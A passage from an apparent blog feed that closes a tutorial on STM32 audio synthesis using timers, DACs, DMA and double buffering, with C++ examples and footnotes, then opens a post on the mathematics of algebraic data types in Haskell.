    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;440&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; cs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;554.37&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; e &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;659.25&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; cs &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Sum and normalise to [-1, 1].&lt;/span&gt;
    buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Map [-1, 1] to [0, 2^12-1).&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If you flash the above code and feed the output to an oscilloscope, you may find it doesn’t really work. Our signal &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#stall-img&quot;&gt;stalls&lt;/a&gt;, for similar reasons as before.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Even with DMA, stalls may occur. This is usually a sign that buffering (and other processes) consume too much time. In this case, breaks in the data occur—the stream is no longer continuous, because the buffer doesn&#39;t finish prepping on time.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;optimisations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#optimisations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Optimisations 🏎&lt;/h3&gt;
&lt;p&gt;So our code is slow. How do we speed it up?&lt;/p&gt;
&lt;p&gt;Here are a few common tricks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Precompute constants&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead of computing &lt;code&gt;2 * M_PI * FREQUENCY / SAMPLE_RATE&lt;/code&gt; every iteration, we can precompute it before the loop, saving many arithmetic instructions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Precompute a factor of the 440Hz signal.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; two_pi_f_over_sr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; FREQUENCY &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Use the precomputed value...&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;two_pi_f_over_sr &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot;&gt;&lt;strong&gt;Wavetable synthesis&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Math functions such as &lt;code&gt;sin&lt;/code&gt; can be computationally expensive, especially when used a lot. By caching the waveform in a lookup table, we can speed up the process of computing samples.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Increase the buffer size&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;By increasing the buffer size, we spend less overhead switching between tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Decrease the sample rate&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If all else fails, we can decrease the load by compromising the sample rate, say from 42000Hz to 21000Hz. With a buffer size of 1024, that means we’ve gone from a constraint of $&#92;frac{1,024}{42,000} = 24.4$ms to $&#92;frac{1,024}{21,000} = 48.8$ms per buffer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To avoid complicating things, I lowered the sample rate to 21000Hz. This means changing the auto-reload register to 7999, so that our timer frequency is $$&#92;frac{168,000,000}{(0 + 1) &#92;times (7,999 + 1)} = 21,&#92;!000&#92;text{Hz.}$$&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;ARR &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After all this hassle, we get a beautiful chord.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The curves are mesmerising.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Picture of oscilloscope showing A major.&quot; title=&quot;The curves are mesmerising.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A nifty waveform of an A major chord (440Hz + 554.37Hz + 659.25Hz).&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;By utilising both hardware and software, we reap the benefits of parallel processing while implementing an efficient, robust audio application. On the hardware side, we explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#timers&quot;&gt;Timers&lt;/a&gt;, which are an useful and inexpensive way to trigger actions at regular intervals.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#digital-to-analogue-converters-dacs&quot;&gt;DACs&lt;/a&gt;, which enable us to communicate with a speaker by translating digital samples into analogue signals.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#direct-memory-access-dma&quot;&gt;DMA&lt;/a&gt;, which enables data transfer with minimal processor resources. This way, we can process other things while streaming audio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In software, we explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-double-buffering&quot;&gt;Double buffering&lt;/a&gt;, a software technique for buffering data to achieve continuous or faster output.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#optimisations&quot;&gt;Various optimisations&lt;/a&gt;, which enable us to squeeze more processing into our tiny board.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When combined, we save processing resources, which can possibly be spent on additional features.&lt;/p&gt;
&lt;p&gt;In case you want to go further, here are some other things to explore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Generating stereo audio. We’ve generated audio for Channel 1. What about stereo audio for Channel 2? If you’re using reverb effects and wish for a fuller stereo sound, you’ll need an extra pair of buffers (and more processing!).&lt;/li&gt;
&lt;li&gt;Streaming via UART (+ DMA).&lt;/li&gt;
&lt;li&gt;Using &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Single Instruction, Multiple Data&quot;&gt;SIMD&lt;/abbr&gt; instructions to buffer two (or more?) samples at a time.
&lt;ul&gt;
&lt;li&gt;Other assembly-level bit-hacking tricks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Real-Time Operating System&quot;&gt;RTOS&lt;/abbr&gt; for multitasking.&lt;/li&gt;
&lt;li&gt;Other boards or hardware with specialised audio features.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hope you enjoyed this series of posts! Leave a comment if you like to see more or have any feedback!&lt;/p&gt;
&lt;h2 id=&quot;full-code&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#full-code&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Full Code&lt;/h2&gt;
&lt;p&gt;The complete code for DMA with double buffering has been uploaded as a &lt;a href=&quot;https://gist.github.com/TrebledJ/5c45ba3366918352a3d56625a636bafa&quot;&gt;GitHub Gist&lt;/a&gt;. It hasn&#39;t been fully optimised yet. I&#39;ll leave that as an exercise for the reader.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Each of these components (especially hardware) deserve their own post to be properly introduced; but for the sake of keeping this post short, I’ll only introduce them briefly and link to other resources for further perusal. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.embeddedtutor.com/2019/02/timercounter-in-embedded-system.html&quot;&gt;Timer/Counter in Embedded System&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref2:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.upesy.com/blogs/tutorials/how-works-timers-in-micro-controllers&quot;&gt;How do microcontroller timers work?&lt;/a&gt; – A decent article on timers. Diagrams are in French though. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The extent of timer events depends on hardware support. Timers can do a lot on ST boards. For other brands, you may need to check the datasheet or reference manual. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Some other timers have 32-bit ARR registers. But eh, we can achieve a lot with just 16-bit ones. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;What is the difference between pairs of prescaler/auto-reload, such as &lt;code&gt;PSC = 0&lt;/code&gt;, &lt;code&gt;ARR = 3999&lt;/code&gt; vs. &lt;code&gt;PSC = 1&lt;/code&gt;, &lt;code&gt;ARR = 1999&lt;/code&gt;? &lt;br /&gt; Indeed, given a fixed clock frequency, the same timer frequency will be generated (since the divisor is the same: 2000). However, the difference lies in the counter. Recall each step of auto-reload equals a step of the counter. &lt;br /&gt; The counter is used in calculating the on-time (or duty cycle). By using a &lt;em&gt;higher&lt;/em&gt; &lt;code&gt;ARR&lt;/code&gt;, we gain a &lt;em&gt;higher resolution&lt;/em&gt; in the counter, which allows us to say, control servos with finer granularity. Thus, a lower prescaler is often preferred. &lt;br /&gt; Of course, different vendors may implement timers differently or have different features attached to timer peripherals. Other considerations may come into play, depending on the vendor and your application. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;We chose Timer 8 (with Channel 4) because it&#39;s an advanced control timer (a beefy boi!), capable of a lot, though probably overkill for our simple examples. The timer and channel you use depends on your STM board and model. If you’re following along with this post, make sure to choose a timer which has DMA generation. When in doubt, refer to the reference manual.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn8&quot; id=&quot;fnref8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn8&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.st.com/resource/en/reference_manual/rm0090-stm32f405415-stm32f407417-stm32f427437-and-stm32f429439-advanced-armbased-32bit-mcus-stmicroelectronics.pdf&quot;&gt;STM&#39;s Official Reference Manual for F405/F415, F407/F417, F427/F437, F429/F439 boards&lt;/a&gt;. Definitely something to refer to if you’re working on one of those boards. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref8&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref8:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn9&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In CubeMX, you can generate code by choosing the &lt;em&gt;Project&lt;/em&gt; &amp;gt; &lt;em&gt;Generate Code&lt;/em&gt; menu option. When coding, keep in mind that only code between &lt;code&gt;USER CODE BEGIN&lt;/code&gt; and &lt;code&gt;USER CODE END&lt;/code&gt; comments will be preserved by ST&#39;s code generator. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref9&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref9:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn10&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There are pros to using 8-bit or 12-bit DAC. 8-bit conversion is faster, whereas 12-bit offers higher resolution. To slightly complicate things, the 12-bit DAC option on our STM32 can be aligned either left or right. That is, we can choose whether our data takes up the first 12 bits or last 12 bits on a 16-bit (2-byte) space. Alignment exists to &lt;a href=&quot;https://electronics.stackexchange.com/a/565451&quot;&gt;save you a shift operation&lt;/a&gt;, which depends on your application. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref10&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn11&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Not sure if &lt;em&gt;stall&lt;/em&gt; is the right word. Let me know if there&#39;s a better one. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref11&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>embedded</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>stm32</category>
        
          <category>music</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>The Mathematics of Types</title>
        <description>Programming isn&#39;t about mindlessly typing away on a keyboard. There is an aesthetic quality that comes with approaching a problem.</description>
        <link href="https://trebledj.me/posts/the-mathematics-of-types/"/>
        <updated>2023-04-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/the-mathematics-of-types/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Algebraic data types (ADTs) encompass a wide range of types commonly used in our day-to-day tasks. Over the past years, they’ve grown in popularity with the rise of modern languages such as Rust and Scala. They allow us to effectively model data, write readable code, and catch bugs at compile time. But rarely do we consider the aesthetics behind such constructs.&lt;/p&gt;
&lt;p&gt;This post is for the curious programmer. Today, we’ll be looking at the mathematics behind ADTs. In doing so, we also gain an appreciation for their utility and aesthetics. I’ll be mainly using Haskell code blocks in this post, because types are very straightforward to express in this language. If you’re unfamiliar with Haskell, fear not!—the concepts addressed below are transferable to most programming languages.&lt;/p&gt;
&lt;h2 id=&quot;motivation-for-adts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#motivation-for-adts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Motivation for ADTs&lt;/h2&gt;
&lt;p&gt;We are interested in combining types, but that alone isn’t saying much. First, we want to combine types &lt;strong&gt;meaningfully&lt;/strong&gt; in order to communicate ideas through those types.
This notion lies with expressibility and the art of programming. Code is, after all, a medium between programmers.&lt;/p&gt;
&lt;p&gt;Second, we want to combine types &lt;strong&gt;concisely&lt;/strong&gt;; our types shouldn’t contain redundant, ambiguous information. Removing redundancy implies removing duplicate or invalid states, leading to better maintainability and fewer bugs.&lt;/p&gt;
&lt;p&gt;ADTs offers us two ways to combine types: &lt;strong&gt;product types&lt;/strong&gt; and &lt;strong&gt;sum types&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;product-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#product-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Product Types&lt;/h3&gt;
&lt;p&gt;If you’ve used structs, tuples, or record types, then you already have a sense of what product types are. Product types combine types together as one. A pizza is like a product type, combining crust, cheese, and toppings. When you bite into a pizza, you enjoy the sensation of all three together.&lt;/p&gt;
&lt;p&gt;Here are some product types in Haskell:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- Haskell Tuple&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- -------------&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- Haskell separates types from data.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Type&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Data&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Here&#39;s another tuple:&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
